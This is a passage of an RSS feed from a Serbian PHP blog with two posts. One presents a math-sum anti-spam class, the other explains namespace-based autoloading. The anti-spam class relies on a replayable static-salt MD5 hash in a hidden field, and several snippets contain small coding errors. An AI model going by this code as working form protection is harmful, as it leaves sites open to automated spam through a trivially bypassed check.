		<guid isPermaLink="false">http://www.salebab.net/?p=161</guid>
		<description><![CDATA[Kao rezultat testiranja i podešavanja Mercurial SCM, nastala je jedna jednostavna PHP klasa za zaštitu formulara od botovskog spamovanja. Vrlo jednostavna, svega 26 linija koda i svega pet jednostavnih metoda. Ovakav sistem zaštite ste sigurno sretali širom Interneta i zasniva se na izračunavanju sume dva i više sabiraka. Npr. Izračunajte 2 plus 5. Ideja je [...]]]></description>
			<content:encoded><![CDATA[<p><img style="margin-right: 10px;" title="stop-spam" src="http://www.salebab.net/wp-content/uploads/2010/04/stop-spam1.jpg" alt="stop spam" width="100" height="101" align="left" />Kao rezultat testiranja i podešavanja Mercurial SCM, nastala je jedna jednostavna PHP klasa za zaštitu formulara od botovskog spamovanja. Vrlo jednostavna, svega 26 linija koda i svega pet jednostavnih metoda.</p>
<p>Ovakav sistem zaštite ste sigurno sretali širom Interneta i zasniva se na izračunavanju sume dva i više sabiraka. Npr. Izračunajte 2 plus 5.</p>
<p><span id="more-161"></span></p>
<pre class="brush: php; title: ; notranslate">
&lt;?php
class SpamProtection {
    private $numbers = array();
    private $salt = '!5p4mpr073c7%#';

    public function getRandNumber($min = 1, $max = 5) {
        return $this-&gt;numbers[] = mt_rand($min, $max);
    }

    public function getHash() {
        return $this-&gt;makeHash($this-&gt;sum());
    }

    public function check($result, $hash) {
        return !($this-&gt;makeHash($result) == $hash);
    }

    private function sum() {
        return array_sum($this-&gt;numbers);
    }

    private function makeHash($result) {
        return md5($this-&gt;salt . $result);
    }
}
?&gt;
</pre>
<p>Ideja je da korisnik upiše rezultat dva i više sabiraka i da se taj rezultat pošalje preko formulara, zajedno sa jednosmerno enkriptovanim pravim rezultatom. Na strani procesiranja formulara, rezultat koji je upisao korisnik se ponovo enkriptuje i upoređuje sa hash-om sa formulara. Hash je saltovan, zbog veće sigurnosti.</p>
<p>Evo i koda, na strani formulara.</p>
<pre class="brush: php; title: ; notranslate">
// form.php
include &quot;path/to/SpamProtection.php&quot;
$spam = new SpamProtection();

echo 'Koliko je '. $spam-&gt;getRandNumber() .' + '. $spam-&gt;getRandNumber() .'&lt;br /&gt;';
echo '&lt;input type=&quot;text&quot; name=&quot;spam_result&quot; /&gt;';
echo '&lt;input type=&quot;hidden&quot; value=&quot;'. $spam-&gt;getHash() .'&quot; name=&quot;spam_hash&quot; /&gt;';
</pre>
<p>I na strani procesiranja formulara</p>
<pre class="brush: php; title: ; notranslate">// submit.php
include &quot;path/to/SpamProtection.php&quot;
$spam = new SpamProtection();

if($spam-&gt;check($_POST['spam_result'], $_POST['spam_hash'])) {
 die(&quot;Spam protection!&quot;);
}</pre>
<p>Kao što vidite iz primera, vrlo je jednostavna i lako se koristi, a što je najvažnije, vrlo je efikasna. Međutim, nije ni savršena, postoji dosta nedostataka, ali imati bilo kakvu zaštitu formulara je svakako bolje nego nemati je uopšte.</p>
<p>P.S. Ukoliko iskoristite ovu klasu u nekom svom projektu, ostavite komentar, biće mi drago <img src='http://www.salebab.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/jednostavna-matematicka-spam-i-bot-zastita/&via=salebab&text=Jednostavna matematička SPAM i bot zaštita&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/jednostavna-matematicka-spam-i-bot-zastita/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Kako napisati PHP aplikaciju bez ijednog includa?</title>
		<link>http://www.salebab.net/kako-napisati-php-aplikaciju-bez-ijednog-includa/</link>
		<comments>http://www.salebab.net/kako-napisati-php-aplikaciju-bez-ijednog-includa/#comments</comments>
		<pubDate>Sun, 18 Apr 2010 09:07:56 +0000</pubDate>
		<dc:creator>Aleksandar Babić</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[namespace]]></category>

		<guid isPermaLink="false">http://www.salebab.net/?p=141</guid>
		<description><![CDATA[Include i require funkcije služe za priključenje drugih skriptova i nezamislivo je da napišete kod, a da ni jednom ne napišete include &#8220;path/to/file.php&#8221;. Međutim,  PHP je u verziji 5.3, napokon, predstavio namespace-ove, odnosno način grupisanja klasa, funkcija i konstanti. I ako je osnovna namena namespaceova u PHP-u da da se izbegne koalizija oko istih naziva [...]]]></description>
			<content:encoded><![CDATA[<p><img title="includes" src="http://www.salebab.net/wp-content/uploads/2010/04/includes1.gif" alt="includes" align="left" />Include i require funkcije služe za priključenje drugih skriptova i nezamislivo je da napišete kod, a da ni jednom ne napišete include &#8220;path/to/file.php&#8221;. Međutim,  PHP je u verziji 5.3, napokon, predstavio <a href="http://www.php.net/manual/en/language.namespaces.php">namespace</a>-ove, odnosno način grupisanja klasa, funkcija i konstanti. I ako je osnovna namena namespaceova u PHP-u da da se izbegne koalizija oko istih naziva klasa ili funkcija i da poveća čitljivost i razumljivost koda, namespaceovi se mogu iskoristiti i u svrhu automatskog učitavanja klasa.</p>
<p><span id="more-141"></span></p>
<p>Potrebno je da vaša aplikacija poštuje samo jednu stvar – putanja do klase mora biti ista kao <strong>namespace </strong>kojoj ta klasa pripada. Ko poznaje Javu i razume sistem paketa, sve će mu biti jasno.</p>
<p>Ukoliko imate klasu User, sa putanjom:</p>
<pre class="brush: plain; title: ; notranslate">/controllers/users/User.php</pre>
<p>ta klasa bi trebala bi ima sledeći namespace:</p>
<pre class="brush: plain; title: ; notranslate">namespace controllers\users;</pre>
<p>i u uprošćenoj verziji izgledala bi ovako:</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
namespace controllers\users;

class Users
{
    private $user;
    function __construct() { ... }
    function showUserPage() { ...}
    function showUsersSettings() { ...}
}
?&gt;</pre>
<p>Ukoliko bi želeli ovu instanciramo ovu klasu, sa automatskim učitavanjem, recimo u index.php skriptu, takav skript bi izgledao ovako:</p>
<pre class="brush: php; title: ; notranslate">&lt;?php
define(&quot;ROOT&quot;, realpath(__DIR__));
set_include_path(get_include_path().PATH_SEPARATOR.ROOT);
spl_autoload_extensions('.php');
spl_autoload_register();

$user = new \controllers\users\User();

?&gt;</pre>
<p>Vrlo zgodno zar ne? Nastaviću sa ovim primerom i pokazati kako namespace može biti još korisniji. Recimo i da je ovoj našoj klasi User potreban model korisnika, odnosno klasa /models/users/User.php, u standardnom sistemu, bez korišćenja namespacova bi morali da je preimenujemo u nešto drugo, npr ModelUser.php, da ne bi došlo do koalizije. Ali u ovom našem, možemo vrlo jednostavno instancirati model korisnika, npr u konkstruktoru:</p>
<pre class="brush: php; title: ; notranslate">
function __construct() {
    $this-&gt;user = \model\users\User();
}</pre>
<p>Još zgodnija stvar bi bila kada bi koristili aliase za namespaceove, pa tako možemo na početku User klase definisati da on koristi klasu models\users\User kao UserModel. Ovo je naročito bitno kada je se klasa nalazi na dubljem nivou:</p>
<pre class="brush: php; title: ; notranslate">
use \models\users\User as UserModel;
....
$this-&gt;user = UserModel();
</pre>
<p>That&#8217;s all folks!</p>
<div style="float: right; margin-left: 10px;"><a href="http://twitter.com/share?url=http://www.salebab.net/kako-napisati-php-aplikaciju-bez-ijednog-includa/&via=salebab&text=Kako napisati PHP aplikaciju bez ijednog includa?&related=:&lang=en&count=horizontal" class="twitter-share-button">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.salebab.net/kako-napisati-php-aplikaciju-bez-ijednog-includa/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

